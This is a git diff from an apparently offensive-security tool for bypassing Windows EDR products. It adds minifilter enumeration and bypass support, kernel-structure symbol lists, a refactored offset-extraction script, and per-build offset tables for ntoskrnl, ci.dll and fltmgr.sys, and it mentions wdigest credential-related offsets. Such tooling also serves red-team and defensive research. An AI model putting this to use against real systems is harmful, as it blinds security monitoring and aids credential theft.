BOOL krnlmodeMonitoringEnumDone; BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks; BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks; BOOL foundObjectCallbacks;
BOOL foundMinifilterCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers; struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled; BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled; BOOL isETWTICurrentlyEnabled;
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
*/ */
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers
/*
* Path of the CSV file that contains the needed offsets for minifilter enum and bypass
* If NULL, tries to load FltmgrOffsets.csv
* If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
*/
LPWSTR fltmgrOffsetFilePath;
/* /*
* Path of the CSV file that contains the needed offsets for credential guard related operations * Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv * If NULL, tries to load WdigestOffsets.csv
+1
View File
@@ -177,6 +177,7 @@ ci_17763-4644.dll,36d58,4bb30
ci_17763-4737.dll,36d58,4bb30 ci_17763-4737.dll,36d58,4bb30
ci_17763-4840.dll,36d58,4bb30 ci_17763-4840.dll,36d58,4bb30
ci_17763-4974.dll,36d58,4bb30 ci_17763-4974.dll,36d58,4bb30
ci_17763-5122.dll,36d58,4bb30
ci_17763-10458.dll,36d18,4ba70 ci_17763-10458.dll,36d18,4ba70
ci_17763-10877.dll,36d18,4bae0 ci_17763-10877.dll,36d18,4bae0
ci_18362-1.dll,37278,4c600 ci_18362-1.dll,37278,4c600
1 ciVersion g_CiOptions CiValidateImageHeader
177 ci_17763-4737.dll 36d58 4bb30
178 ci_17763-4840.dll 36d58 4bb30
179 ci_17763-4974.dll 36d58 4bb30
180 ci_17763-5122.dll 36d58 4bb30
181 ci_17763-10458.dll 36d18 4ba70
182 ci_17763-10877.dll 36d18 4bae0
183 ci_18362-1.dll 37278 4c600
+41 -21
View File
@@ -17,8 +17,12 @@ THREADS_LIMIT = None
CSVLock = threading.Lock() CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404) machineType = dict(x86=332, x64=34404)
knownImageVersions = dict(ntoskrnl=list(), wdigest=list(), ci=list()) supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll", ci="dll") modes = [image_name.split(".")[0] for image_name in supported_images]
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
known_image_versions = {mode: list() for mode in modes}
modes_by_imagename = dict(zip(supported_images, modes))
csvFilenameByMode = {mode: mode.capitalize() + "Offsets.csv" for mode in modes}
symbols = dict( symbols = dict(
ntoskrnl=[ ntoskrnl=[
@@ -42,8 +46,23 @@ symbols = dict(
("g_CiOptions", "symbol"), ("g_CiOptions", "symbol"),
("CiValidateImageHeader", "symbol"), ("CiValidateImageHeader", "symbol"),
], ],
fltmgr=[
("FltGlobals", "symbol"),
("_GLOBALS", "FrameList", "field"),
("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
("_FLTP_FRAME", "Links", "field"),
("_FLTP_FRAME", "RegisteredFilters", "field"),
("_FLT_OBJECT", "PrimaryLink", "field"),
("_FLT_FILTER", "DriverObject", "field"),
("_FLT_FILTER", "InstanceList", "field"),
("_DRIVER_OBJECT", "DriverInit", "field"),
("_FLT_INSTANCE", "CallbackNodes", "field"),
("_FLT_INSTANCE", "FilterLink", "field"),
],
) )
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
def find(key: str, d: dict): def find(key: str, d: dict):
for k, v in d.items(): for k, v in d.items():
@@ -252,12 +271,10 @@ def extractOffsets(input_file, output_file, mode):
export_directory_rva = export_directory_entry.VirtualAddress export_directory_rva = export_directory_entry.VirtualAddress
image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4) image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4)
name = pe.get_string_at_rva(image_name_rva).decode().lower() name = pe.get_string_at_rva(image_name_rva).decode().lower()
if "ntoskrnl.exe" in name: for image_name in supported_images:
imageType = "ntoskrnl" if image_name in name:
elif "wdigest.dll" in name: imageType = modes_by_imagename[image_name]
imageType = "wdigest" break
elif "ci.dll" in name:
imageType = "ci"
else: else:
print(f"[*] File {input_file} unrecognized") print(f"[*] File {input_file} unrecognized")
return return
@@ -274,7 +291,7 @@ def extractOffsets(input_file, output_file, mode):
extension = extensions_by_mode[imageType] extension = extensions_by_mode[imageType]
imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}" imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}"
if imageVersion in knownImageVersions[imageType]: if imageVersion in known_image_versions[imageType]:
print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})") print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})")
try: try:
""" """
@@ -296,7 +313,7 @@ def extractOffsets(input_file, output_file, mode):
for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-") for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-")
) )
imageVersion = input_file_basename imageVersion = input_file_basename
if imageVersion in knownImageVersions[imageType]: if imageVersion in known_image_versions[imageType]:
return return
print("\r", end="") # Not skipping after all print("\r", end="") # Not skipping after all
except ValueError: except ValueError:
@@ -330,7 +347,7 @@ def extractOffsets(input_file, output_file, mode):
# print("wrote into CSV !") # print("wrote into CSV !")
del pdb del pdb
knownImageVersions[imageType].append(imageVersion) known_image_versions[imageType].append(imageVersion)
print(f"[+] Finished processing of {imageType} {input_file}!") print(f"[+] Finished processing of {imageType} {input_file}!")
except PEFormatError as e: except PEFormatError as e:
@@ -381,22 +398,25 @@ def sortOutputFile(csvFile):
if __name__ == "__main__": if __name__ == "__main__":
parser = argparse.ArgumentParser() parser = argparse.ArgumentParser()
modes_str = "/".join(known_image_versions)
files = " / ".join(modes_by_imagename)
csvfiles = " / ".join(csvFilenameByMode.values())
parser.add_argument( parser.add_argument(
"mode", "mode",
help='"ntoskrnl", "wdigest" or "ci". Mode to download and extract offsets from either ntoskrnl.exe, wdigest.dll or ci.dll', help=f"{modes_str}. Mode to download and extract offsets from either {files}",
) )
parser.add_argument( parser.add_argument(
"-i", "-i",
"--input", "--input",
dest="input", dest="input",
required=True, required=True,
help="Single file or directory containing ntoskrnl.exe / wdigest.dll / ci.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.", help=f"Single file or directory containing {files} to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.",
) )
parser.add_argument( parser.add_argument(
"-o", "-o",
"--output", "--output",
dest="output", dest="output",
help="CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv / CiOffsets.csv in the current folder.", help=f"CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to {csvfiles} in the current folder.",
) )
parser.add_argument( parser.add_argument(
"-d", "-d",
@@ -408,20 +428,20 @@ if __name__ == "__main__":
args = parser.parse_args() args = parser.parse_args()
mode = args.mode.lower() mode = args.mode.lower()
if mode not in knownImageVersions: if mode not in known_image_versions:
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl", "wdigest" and "ci"') print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: {modes}')
exit(1) exit(1)
# If the output file exists, load the already analyzed image versions. # If the output file exists, load the already analyzed image versions.
# Otherwise, write CSV headers to the new file. # Otherwise, write CSV headers to the new file.
if not args.output: if not args.output:
args.output = mode.capitalize() + "Offsets.csv" args.output = csvFilenameByMode[mode]
if os.path.isfile(args.output): if os.path.isfile(args.output):
loadOffsetsFromCSV(knownImageVersions[mode], args.output) loadOffsetsFromCSV(known_image_versions[mode], args.output)
print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"') print(f'[+] Loaded {len(known_image_versions[mode])} known {mode} versions from "{args.output}"')
else: else:
with open(args.output, "w") as output: with open(args.output, "w") as output:
output.write(mode + "Version," + ",".join(elem[0] for elem in symbols[mode]) + "\n") output.write(mode + "Version," + ",".join(elem for elem in symbols_names[mode]) + "\n")
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com. # In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
# The symbols for each version will be downloaded from the Microsoft symbols servers. # The symbols for each version will be downloaded from the Microsoft symbols servers.
@@ -431,7 +451,7 @@ if __name__ == "__main__":
print("[!] ERROR : in download mode, -i / --input option must specify a folder") print("[!] ERROR : in download mode, -i / --input option must specify a folder")
exit(1) exit(1)
extension = extensions_by_mode[mode] extension = extensions_by_mode[mode]
downloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input) downloadPEFileFromMS(mode, extension, known_image_versions[mode], args.input)
# Extract the offsets from the specified file or the folders containing image files. # Extract the offsets from the specified file or the folders containing image files.
extractOffsets(args.input, args.output, mode) extractOffsets(args.input, args.output, mode)
+90
View File
@@ -0,0 +1,90 @@
fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70
1 fltmgrVersion FltGlobals _GLOBALS_FrameList _FLT_RESOURCE_LIST_HEAD_rList _FLTP_FRAME_Links _FLTP_FRAME_RegisteredFilters _FLT_OBJECT_PrimaryLink _FLT_FILTER_DriverObject _FLT_FILTER_InstanceList _DRIVER_OBJECT_DriverInit _FLT_INSTANCE_CallbackNodes _FLT_INSTANCE_FilterLink
2 fltmgr_10240-16384.sys 254c0 58 68 8 48 10 60 68 58 a0 70
3 fltmgr_10240-18967.sys 254c0 58 68 8 48 10 60 68 58 a0 70
4 fltmgr_10240-19983.sys 254c0 58 68 8 48 10 60 68 58 a0 70
5 fltmgr_10586-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
6 fltmgr_14393-0.sys 25500 58 68 8 48 10 60 68 58 a0 70
7 fltmgr_14393-2879.sys 25500 58 68 8 48 10 60 68 58 a0 70
8 fltmgr_14393-3297.sys 25500 58 68 8 48 10 60 68 58 a0 70
9 fltmgr_14393-3659.sys 25500 58 68 8 48 10 60 68 58 a0 70
10 fltmgr_14393-4467.sys 25500 58 68 8 48 10 60 68 58 a0 70
11 fltmgr_14393-4583.sys 25500 58 68 8 48 10 60 68 58 a0 70
12 fltmgr_14393-4946.sys 25500 58 68 8 48 10 60 68 58 a0 70
13 fltmgr_14393-5127.sys 25500 58 68 8 48 10 60 68 58 a0 70
14 fltmgr_14393-5192.sys 25500 58 68 8 48 10 60 68 58 a0 70
15 fltmgr_15063-0.sys 27500 58 68 8 48 10 60 68 58 a0 70
16 fltmgr_15063-413.sys 27500 58 68 8 48 10 60 68 58 a0 70
17 fltmgr_15063-850.sys 27500 58 68 8 48 10 60 68 58 a0 70
18 fltmgr_15063-2161.sys 27500 58 68 8 48 10 60 68 58 a0 70
19 fltmgr_16299-15.sys 28540 58 68 8 48 10 60 68 58 a0 70
20 fltmgr_16299-98.sys 28540 58 68 8 48 10 60 68 58 a0 70
21 fltmgr_16299-99.sys 28540 58 68 8 48 10 60 68 58 a0 70
22 fltmgr_16299-192.sys 28540 58 68 8 48 10 60 68 58 a0 70
23 fltmgr_16299-371.sys 28540 58 68 8 48 10 60 68 58 a0 70
24 fltmgr_16299-402.sys 28540 58 68 8 48 10 60 68 58 a0 70
25 fltmgr_16299-1480.sys 28540 58 68 8 48 10 60 68 58 a0 70
26 fltmgr_16299-1868.sys 27540 58 68 8 48 10 60 68 58 a0 70
27 fltmgr_16299-2401.sys 27540 58 68 8 48 10 60 68 58 a0 70
28 fltmgr_16299-10000.sys 28540 58 68 8 48 10 60 68 58 a0 70
29 fltmgr_17134-1.sys 29540 58 68 8 48 10 60 68 58 a0 70
30 fltmgr_17134-228.sys 29540 58 68 8 48 10 60 68 58 a0 70
31 fltmgr_17134-1098.sys 29540 58 68 8 48 10 60 68 58 a0 70
32 fltmgr_17134-1365.sys 29540 58 68 8 48 10 60 68 58 a0 70
33 fltmgr_17134-1456.sys 29540 58 68 8 48 10 60 68 58 a0 70
34 fltmgr_17763-1.sys 2a540 58 68 8 48 10 60 68 58 a0 70
35 fltmgr_17763-379.sys 2a540 58 68 8 48 10 60 68 58 a0 70
36 fltmgr_17763-592.sys 2a540 58 68 8 48 10 60 68 58 a0 70
37 fltmgr_17763-831.sys 2a540 58 68 8 48 10 60 68 58 a0 70
38 fltmgr_17763-1999.sys 2a540 58 68 8 48 10 60 68 58 a0 70
39 fltmgr_17763-2028.sys 2a540 58 68 8 48 10 60 68 58 a0 70
40 fltmgr_17763-2061.sys 2a540 58 68 8 48 10 60 68 58 a0 70
41 fltmgr_17763-2090.sys 2a540 58 68 8 48 10 60 68 58 a0 70
42 fltmgr_17763-2510.sys 2a540 58 68 8 48 10 60 68 58 a0 70
43 fltmgr_17763-4492.sys 2a540 58 68 8 48 10 60 68 58 a0 70
44 fltmgr_17763-4644.sys 2a540 58 68 8 48 10 60 68 58 a0 70
45 fltmgr_17763-4720.sys 2a540 58 68 8 48 10 60 68 58 a0 70
46 fltmgr_17763-5122.sys 2a540 58 68 8 48 10 60 68 58 a0 70
47 fltmgr_17763-10576.sys 2a540 58 68 8 48 10 60 68 58 a0 70
48 fltmgr_18362-1.sys 2a580 58 68 8 48 10 60 68 58 a0 70
49 fltmgr_18362-267.sys 2a580 58 68 8 48 10 60 68 58 a0 70
50 fltmgr_18362-1110.sys 2a580 58 68 8 48 10 60 68 58 a0 70
51 fltmgr_18362-1216.sys 2a580 58 68 8 48 10 60 68 58 a0 70
52 fltmgr_18362-1645.sys 2a580 58 68 8 48 10 60 68 58 a0 70
53 fltmgr_18362-1714.sys 2a580 58 68 8 48 10 60 68 58 a0 70
54 fltmgr_18362-2337.sys 2a580 58 68 8 48 10 60 68 58 a0 70
55 fltmgr_19041-264.sys 2b600 58 68 8 48 10 60 68 58 a0 70
56 fltmgr_19041-1151.sys 2b600 58 68 8 48 10 60 68 58 a0 70
57 fltmgr_19041-1165.sys 2b600 58 68 8 48 10 60 68 58 a0 70
58 fltmgr_19041-1503.sys 2a600 58 68 8 48 10 60 68 58 a0 70
59 fltmgr_19041-1526.sys 2a600 58 68 8 48 10 60 68 58 a0 70
60 fltmgr_19041-1682.sys 2b600 58 68 8 48 10 60 68 58 a0 70
61 fltmgr_19041-1767.sys 2b600 58 68 8 48 10 60 68 58 a0 70
62 fltmgr_19041-1806.sys 29600 58 68 8 48 10 60 68 58 a0 70
63 fltmgr_19041-2728.sys 29600 58 68 8 48 10 60 68 58 a0 70
64 fltmgr_19041-2788.sys 29600 58 68 8 48 10 60 68 58 a0 70
65 fltmgr_19041-3086.sys 29600 58 68 8 48 10 60 68 58 a0 70
66 fltmgr_19041-3205.sys 29600 58 68 8 48 10 60 68 58 a0 70
67 fltmgr_19041-3570.sys 29600 58 68 8 48 10 60 68 58 a0 70
68 fltmgr_19041-3636.sys 29600 58 68 8 48 10 60 68 58 a0 70
69 fltmgr_19041-3684.sys 29600 58 68 8 48 10 60 68 58 a0 70
70 fltmgr_21390-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
71 fltmgr_22000-1.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
72 fltmgr_22000-469.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
73 fltmgr_22000-527.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
74 fltmgr_22000-778.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
75 fltmgr_22000-1098.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
76 fltmgr_22000-1165.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
77 fltmgr_22000-1219.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
78 fltmgr_22000-1281.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
79 fltmgr_22000-1696.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
80 fltmgr_22000-1761.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
81 fltmgr_22000-2124.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
82 fltmgr_22000-2592.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
83 fltmgr_22000-2600.sys 2b6c0 58 68 8 48 10 60 68 58 a8 70
84 fltmgr_22621-4.sys 2c700 58 68 8 48 10 60 68 58 a8 70
85 fltmgr_22621-608.sys 2c700 58 68 8 48 10 60 68 58 a8 70
86 fltmgr_22621-1690.sys 2c700 58 68 8 48 10 60 68 58 a8 70
87 fltmgr_22621-2361.sys 2e700 58 68 8 48 10 60 68 58 a8 70
88 fltmgr_22621-2415.sys 2e700 58 68 8 48 10 60 68 58 a8 70
89 fltmgr_22621-2506.sys 2e700 58 68 8 48 10 60 68 58 a8 70
90 fltmgr_22621-2771.sys 2e700 58 68 8 48 10 60 68 58 a8 70
+6 -1
View File
@@ -1,4 +1,4 @@
ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY,_ETW_GUID_ENTRY,PsProcessType,PsThreadType,_OBJECT_TYPE,SeCiCallbacks ntoskrnlVersion,PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine,_EPROCESS_Protection,EtwThreatIntProvRegHandle,_ETW_REG_ENTRY_GuidEntry,_ETW_GUID_ENTRY_ProviderEnableInfo,PsProcessType,PsThreadType,_OBJECT_TYPE_CallbackList,SeCiCallbacks
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80 ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8,31ee80
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40 ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8,31ef40
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40 ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8,31df40
@@ -55,6 +55,7 @@ ntoskrnl_10240-20048.exe,369520,369320,369120,6b2,0,20,50,3cf230,3cf248,c8,32b06
ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0 ntoskrnl_10240-20107.exe,3695a0,3693a0,3691a0,6b2,0,20,50,3cf228,3cf248,c8,32b0a0
ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 ntoskrnl_10240-20161.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060 ntoskrnl_10240-20232.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
ntoskrnl_10240-20307.exe,369560,369360,369160,6b2,0,20,50,3cf228,3cf248,c8,32b060
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40 ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8,2d8d40
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00 ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8,2d7d00
@@ -154,6 +155,7 @@ ntoskrnl_14393-5921.exe,33ce20,33cc20,33ca20,6ca,0,20,50,3a9250,3a9278,c8,2fffa0
ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080 ntoskrnl_14393-5996.exe,33cf20,33cd20,33cb20,6ca,0,20,50,3a9250,3a9278,c8,300080
ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020 ntoskrnl_14393-6085.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300020
ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020 ntoskrnl_14393-6167.exe,33ce60,33cc60,33ca60,6ca,0,20,50,3a9250,3a9278,c8,300020
ntoskrnl_14393-6451.exe,33cea0,33cca0,33caa0,6ca,0,20,50,3a9250,3a9278,c8,300040
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0 ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8,345be0
@@ -433,6 +435,7 @@ ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8,4
ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40 ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8,40cc40
